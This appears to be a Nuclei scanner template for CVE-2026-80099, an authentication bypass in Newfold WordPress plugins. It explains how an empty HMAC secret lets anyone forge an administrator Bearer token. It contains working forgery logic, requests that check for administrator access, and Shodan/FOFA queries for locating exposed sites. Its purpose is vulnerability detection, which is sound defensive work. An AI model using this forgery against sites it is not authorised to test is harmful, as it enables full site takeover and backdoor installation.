Newfold WordPress Plugins - Unauthenticated Admin Bypass via Empty HMAC Secret

id: CVE-2026-80099

info:
  name: Newfold WordPress Plugins - Unauthenticated Admin Bypass via Empty HMAC Secret
  author: ritikchaddha
  severity: high
  description: |
    Newfold Digital WordPress plugins bundling wp-module-data <=2.9.4 allow unauthenticated attackers to forge a valid Bearer token and gain WordPress administrator access. The authenticate() method (hooked on rest_authentication_errors) computes: token = sha256(sha256(wp_json_encode({method,url,body,timestamp})) + sha256(strrev(get_auth_token()))) On sites not connected to Hiive, get_auth_token() returns false; PHP coerces strrev(false) to strrev('') = '', so the HMAC salt collapses to the public constant sha256('') = e3b0c44... All other inputs are attacker-controlled, enabling offline token forgery without any secret knowledge.
  impact: |
    Unauthenticated attackers gain full WordPress administrator access via forged Bearer token, enabling arbitrary REST API operations — user creation, plugin upload, theme editor write, and persistent backdoor installation (complete site takeover / RCE).
  remediation: |
    Update to patched versions: Bluehost >=4.19.1, HostGator >=3.2.1, Web >=2.3.6, Crazy Domains >=2.5.3, or update wp-module-data to >=2.9.8.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/3ee369c0-0d7c-4142-b3ba-a518288647ba
    - https://github.com/Wayang1337/CVE-2026-80099
    - https://plugins.trac.wordpress.org/browser/wp-module-data/trunk/includes/Data.php
    - https://nvd.nist.gov/vuln/detail/CVE-2026-80099
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2026-80099
    cwe-id: CWE-287
    epss-score: 0.00508
    epss-percentile: 0.41741
  metadata:
    verified: true
    max-request: 2
    vendor: newfold
    product: wp-module-data,bluehost-wordpress-plugin,hostgator,wp-plugin-web,crazy-domains
    fofa-query: body="/wp-content/plugins/wp-plugin-crazy-domains"
    shodan-query: html:"/wp-content/plugins/wp-plugin-crazy-domains"
  tags: cve,cve2026,wordpress,auth-bypass,newfold,bluehost,hostgator,wp-plugin,vkev

flow: http(1) && http(2)

variables:
  ts: "0"
  esc_base: "{{replace(BaseURL, '/', '\\\\/')}}"
  esc_path: "\\/wp-json\\/wp\\/v2\\/users\\/me?context=edit"
  esc_url: "{{esc_base + esc_path}}"
  empty_salt: "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
  data_hash: "{{sha256('{\"method\":\"GET\",\"url\":\"' + esc_url + '\",\"body\":\"\",\"timestamp\":\"' + ts + '\"}')}}"
  forged_token: "{{sha256(data_hash + empty_salt)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/newfold-data/v1/verify/00000000000000000000000000000000"
    headers:
      Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code != 404 && contains(body, "\"valid\"")'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/users/me?context=edit"
    headers:
      Authorization: "Bearer {{forged_token}}"
      X-Timestamp: "{{ts}}"
      Accept: application/json

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - '"administrator"'

      - type: word
        part: body
        words:
          - '"roles"'
# digest: 4a0a00473045022100b21945a1ccc79567786dd59a1b09d49c563c93513e06b9c2d213040d03dc88260220197ffd2d89bcff98479e3e505b2492902fb81f165e93894f5123b365c9938177:922c64590222798bb761d5b6d8e72950